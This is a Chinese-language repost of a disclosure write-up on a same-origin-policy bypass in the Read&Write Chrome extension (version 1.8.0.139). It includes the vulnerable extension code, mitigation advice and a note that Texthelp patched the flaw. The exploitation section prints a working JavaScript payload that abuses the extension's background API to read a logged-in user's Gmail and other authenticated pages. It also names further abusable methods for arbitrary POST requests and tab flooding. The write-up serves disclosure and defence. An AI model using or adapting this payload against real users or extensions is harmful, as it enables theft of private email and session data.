本篇文章给大家分享的是有关发现Chrome浏览器阅读辅助插件SOP绕过漏洞的示例分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。
下面讲述的是作者发现谷歌浏览器Chrome阅读辅助插件(Read&Write Chrome extension)1.8.0.139版本同源策略(SOP)绕过漏洞的过程。该漏洞在于Read&Write插件缺少对正常交互网页请求源的安全检查,导致任意网页都可以调用Read&Write插件的后台特权页面API来执行多种存在风险的操作。由于该版本插件的在线下载使用量较大,在漏洞上报前估计有八百万用户受到影响。
漏洞介绍
比如,利用名为 “thGetVoices”方法的后台API调用方式,可以用插件执行一个任意URL链接的检索,并用postMessage方式来进行响应通信。通过这种方式的API恶意调用,攻击者可以劫持Read&Write插件去读取一些恶意且未经验证的会话数据。
作为验证,作者在文末制作了一个漏洞利用PoC视频,在安装了存在该漏洞的Read&Write插件之后,在进行应用操作时,可以利用漏洞远程读取到用户的Gmail邮箱地址信息。在漏洞上报之后,Read&Write插件开发方Texthelp公司迅速修复了漏洞,并于第二天释出了更新补丁。目前,新版本的Read&Write插件已不存在该漏洞。
漏洞分析
Chrome的Read&Write插件利用名为“inject.js”的Google浏览器内置脚本(Content Script)来向诸如Google Docs在内的各种在线文档页面插入一个自定义工具栏,以方便读者用户可以利用该插件进行文档读写。默认情况下,此脚本将会向所有HTTP和HTTPS源执行插入,插件的使用说明中已定义了这一点:
...trimmed for brevity... "content_scripts": [ { "matches": [ "https://*/*", "http://*/*" ], "js": [ "inject.js" ], "run_at": "document_idle", "all_frames": true } ], ...trimmed for brevity...
在 “inject.js” 脚本文件中,存在一个事件监听函数addEventListener,任何被插入 “inject.js” 脚本文件的交互网页,如果以“postMessage”方式向插件发送响应消息,都能被该函数捕获到:
window.addEventListener("message", this.onMessage)
这个addEventListener函数还会调用另一个名为“this.onMessage”的函数,该函数用于处理任意发往页面窗口的postMessage消息:
function onMessage() { void 0 != event.source && void 0 != event.data && event.source == window && "1757FROM_PAGERW4G" == event.data.type && ("connect" == event.data.command ? chrome.extension.sendRequest(event.data, onRequest) : "ejectBar" == event.data.command ? ejectBar() : "th-closeBar" == event.data.command ? chrome.storage.sync.set({ enabledRW4GC: !1 }) : chrome.extension.sendRequest(event.data, function(e) { window.postMessage(e, "*") })) }
postMessage() 方法:window.postMessage() 方法可以安全地实现跨源通信。通常,对于两个不同页面的脚本需要具备同源策略才能通信。window.postMessage() 方法被调用时,会在所有页面脚本执行完毕之后(e.g., 在该方法之后设置的事件、之前设置的timeout 事件,etc.)向目标窗口派发一个 MessageEvent 消息。 该MessageEvent消息有四个属性需要注意: message 属性表示该message 的类型; data 属性为 window.postMessage 的第一个参数;origin 属性表示调用window.postMessage() 方法时调用页面的当前状态; source 属性记录调用 window.postMessage() 方法的窗口信息。
在上述代码中,可以看到onMessage()会把所有接收到的postMessage消息通过“chrome.extension.sendRequest”方法发送到Read&Write插件的后台页面。另外,对这些消息的响应将传递回onMessage()函数,然后再通过其传递回Web页面中去。这个过程,实际上就在正常的Web访问页面和Read&Write插件后面之间形成了一个代理机制。
从Read&Write插件的使用说明中,可以发现Read&Write插件中存在很多后台页面:
...trimmed for brevity... "background": { "scripts": [ "assets/google-analytics-bundle.js", "assets/moment.js", "assets/thFamily3.js", "assets/thHashing.js", "assets/identity.js", "assets/socketmanager.js", "assets/thFunctionManager.js", "assets/equatio-latex-extractor.js", "assets/background.js", "assets/xmlIncludes/linq.js", "assets/xmlIncludes/jszip.js", "assets/xmlIncludes/jszip-load.js", "assets/xmlIncludes/jszip-deflate.js", "assets/xmlIncludes/jszip-inflate.js", "assets/xmlIncludes/ltxml.js", "assets/xmlIncludes/ltxml-extensions.js", "assets/xmlIncludes/testxml.js" ] }, ...trimmed for brevity...
虽然存在以上这么多后台页面进行消息侦听和函数调用,我们选取其中一个可漏洞利用的即可,我们就来看看页面 “background.js”吧:
...trimmed for brevity... chrome.extension.onRequest.addListener(function(e, t, o) { ...trimmed for brevity... if ("thGetVoices" === e.method && "1757FROM_PAGERW4G" == e.type) { if (g_voices.length > 0 && "true" !== e.payload.refresh) return void o({ method: "thGetVoices", type: "1757FROM_BGRW4G", payload: { response: g_voices } }); var c = new XMLHttpRequest; c.open("GET", e.payload.url, !0), c.onreadystatechange = function() { 4 == this.readyState && 200 == this.status && (g_voices = this.responseText.toString(), o({ method: "thGetVoices", type: "1757FROM_BGRW4G", payload: { response: g_voices } })) }, c.send() } ...trimmed for brevity...
上述代码显示,“chrome.extension.onRequest” .addListener监听器被触发时,其内部的“method” 参数会被设置成“thGetVoices”,“type”参数则被设置为“1757FROM_PAGERW4G”。如果这个触发事件中的“payload.refresh”参数为“true” ,则其中的XMLHTTPRequest会被请求响应为代号为200的状态码。
漏洞利用
利用上述方式的恶意调用,我们能向Read&Write插件的后台页面发送一个带有任意URL链接的消息,该消息最终会通过HTTP方式进行响应,这样,我们就能通过这种方式读取用户cookie信息,从而也可利用任意网页加载Payload去窃取其它不同Web源中的用户内容。以下就是一个跨域的信息窃取Payload:
function exploit_get(input_url) { return new Promise(function(resolve, reject) { var delete_callback = false; var event_listener_callback = function(event) { if ("data" in event && event.data.payload.response) { window.removeEventListener("message", event_listener_callback, false); resolve(event.data.payload.response); } }; window.addEventListener("message", event_listener_callback, false); window.postMessage({ type: "1757FROM_PAGERW4G", "method": "thGetVoices", "payload": { "refresh": "true", "url": input_url } }, "*"); }); } setTimeout(function() { exploit_get("https://mail.google.com/mail/u/0/h/").then(function(response_body) { alert("Gmail emails have been stolen!"); alert(response_body); }); }, 1000);
上述Payload代码显示,可以利用该漏洞去读取跨域响应信息。这种情况下,我们用Gmail的 “Simple HTML”服务 来作示例。整个的漏洞利用方法就比较简单直接了:把上面这个Payload代码托管在任意网站上,安装了存在该漏洞的Read&Write插件用户,只要登录进入Gmail邮箱,我就可以用上述Payload来读取到用户的相关Gmail邮箱内信息。整个过程是通过之前我们说明的,以恰当的Payload设置形成postMessage消息,并结合消息响应的事件监听方式来实现的。由于Read&Write插件会向所有HTTP和HTTPS的Web页面执行应用插入,所以,在 JavaScript Promises 异步编程方式下,可以通过“exploit_get()”函数能窃取到用户经过认证的任意访问过的页面数据信息(这里假设无需特殊Header标头,能通过HTTP GET方式进行访问的页面)
Promise :是异步编程的一种解决方案,比传统的解决方案——回调函数和事件——更合理和更强大。所谓Promise,简单说就是一个容器,里面保存着某个未来才会结束的事件(通常是一个异步操作)的结果。从语法上说,Promise 是一个对象,从它可以获取异步操作的消息。Promise 提供统一的 API,各种异步操作都可以用同样的方法进行处理。目前,Promise 已获得 JavaScript 的原生支持,能很好兼容JavaScript编程应用。
虽然上面的示例引用了“thGetVoices”后台方法调用,但这只是这些后台页面API调用时出现的一种漏洞利用方式。除了使用这种调用之外,还存在其它一些可以利用的漏洞方法:
如攻击者还能利用 “thExtBGAjaxRequest” 方法,结合参数来执行“application/x-www-form-urlencoded;charset=UTF-8” 这类型任意的POST请求,并读取消息响应内容
还有,攻击者也能利用 “OpenTab”方法来打开大量网页标签来限制用户的Web页面访问
漏洞原因&缓解措施
该漏洞为一种常见浏览器插件安全隐患,谷歌的 Chrome 浏览器为了更方便地与插件API之间进行通信交互,插件在功能上就无形在自身后台服务和正常访问的Web页面之间形成了一条代理通道,主要原因在于很多 Chrome 插件开发者在开发阶段,缺乏对潜在敏感功能的调用请求源进行安全检查。这种情况下,一种理想的解决方法就是把大部份逻辑处理操作放到Content Script中去,不用postMessage方式调用,而由事件侦听函数按照API isTrusted属性的适当验证来进行触发。这样可以确保所有调用都是由用户操作触发的,而不是攻击者伪造的。
由于时区原因,时间上可能有些出入,Texthelp在爱尔兰的开发团队其实在6月2号就收到漏洞,然后在6月3号就修复了漏洞。只是补丁在6月4号释出,整个漏洞响应修复周期非常及时。
以上就是发现Chrome浏览器阅读辅助插件SOP绕过漏洞的示例分析,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。
原创文章,作者:carmelaweatherly,如若转载,请注明出处:https://blog.ytso.com/tech/safety/222106.html